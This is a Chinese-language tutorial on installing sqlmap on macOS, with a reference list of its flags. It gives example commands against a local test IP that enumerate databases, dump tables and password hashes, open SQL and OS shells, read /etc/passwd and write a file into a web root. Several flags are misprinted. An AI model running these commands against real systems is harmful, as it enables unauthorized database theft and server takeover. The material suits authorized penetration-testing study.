Mac版 sqlmap 环境配置与常用语法
一、环境配置
启动:source ~/.bash_profile
- cd /usr/bin/
- sudo git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev (从git上下载)
- open -e .bash_profile添加
alias sqlmap=‘Python /usr/bin/sqlmap-dev/sqlmap.py‘ - source ~/.bash_profile
- sqlmap (直接输入就会运行sqlmap啦)
二、常用语法
1. 基础篇
-
-u 目标url
-
-d DIRECT 直接连接数据库的连接字符串
-
-I 日志文件 从burp或者webScarab代理日志文件中分析目标
-
-x 网站地图URL 从远程网站地图(sitemap.xml)文件来解析目标
-
-m 文件 将目标地址保存在文件中,一行一个url地址进行批量检测
-
-r 请求文件
-
-c 配置文件 从配置ini文件中加载选项
-
-o 打开所有的优化开关
-
-predict -output 预测普通查询输出
-
-keep -alive 使用持久http连接
-
-null -connection 获取页面长度
-
-level 执行测试的等级(1-5,默认1)
-
-risk 执行测试的风险 (1-3,默认1)
-
-string 查询有效时在页面匹配字符串
-
-not -string 查询无效时在页面匹配字符串
-
-regexp 查询有效时在页面匹配正则表达式
-
-current -user 获取数据库管理系统当前用户
-
-current -db 获取数据库管理系统当前数据库
-
-hosname 获取数据库服务器主机名称
-
-user 枚举数据库管理系统用户
-
-passwords 枚举数据库管理系统用户密码哈希
-
-privileges 枚举数据库管理系统用户的权限
-
-dbs 枚举数据库管理系统数据库
-
-tables 枚举DBMS数据库中的表
-
-columns 枚举DBMS数据库表列
-
-dump 转储数据库表项
2. 注入篇
-
检测注入点
sqlmap -u "http://192.168.1.104/sql.php?id=11"
-
爆破所有数据库信息
sqlmap -u “http://192.168.1.104/sql.php?id=11” –-dbs
爆破当前数据库的所有信息
sqlmap -u “http://192.168.1.104/sql.php?id=11” -–current-db
-
列出指定数据库所有表名
sqlmap -u “http://192.168.1.104/sql.php?id=11” -D 爆破出的数据库名 –tables
-
列出指定表名的所有列名
sqlmap -u “http://192.168.1.104/sql.php?id=11” -D vhost48330 -T表名 --columns
-
dump打印输出表名指定列名字段
sqlmap -u “http://192.168.1.104/sql.php?id=11” -D vhost48330 -T 表名 -C 列名,列名 --dump
三、 用户权限
-
列出数据库管理系统用户:
sqlmap -u “http://192.168.1.104/sql.php?id=11” --users
-
查看当前连接数据库用户:
sqlmap -u “http://192.168.1.104/sql.php?id=11” --current-user
-
判断当前用户是否是DBA?
sqlmap -u “http://192.168.1.104/sql.php?id=11” --is-dba
DBA 数据库管理员
-
查看用户权限:
sqlmap -u “http://192.168.1.104/sql.php?id=11” –privileges
privileges 特权
sqlmap -u “http://192.168.1.104/sql.php?id=11” --privileges -U fujieace
3. Sqlmap文件操作与shell提权篇
-
sql shell
这里通过sqlmap可以直接获取一个sql shell,直接执行 sql语句进行交互
sqlmap -u “http://192.168.1.104/sql.php?id=11” --sql-shell
sql-shell> select version();注意:这里由于进入了sql shell可以执行sql语句了,也可以用 load data infile、load_file、into outfile等函数来进行文件读取或写入;
-
cmd shell
这里通过sqlmap可以直接获取一个cmd shell,直接执行cmd命令进行交互。
sqlmap -u “http://192.168.1.104/sql.php?id=11” --os-shell
sqlmap -u “http://192.168.1.104/sql.php?id=11” --os-cmd=ipconfig -
读取服务器上指定文件
sqlmap -u “http://192.168.1.104/sql.php?id=11” --file-read=/etc/passwd
sqlmap -u “http://192.168.1.104/sql.php?id=11” --file-read=d:/test.txt
4、写入本地文件到服务器上
sqlmap -u “http://192.168.1.104/sql.php?id=11” --file-write /test/test.txt --file-dest /var/www/html/1.txt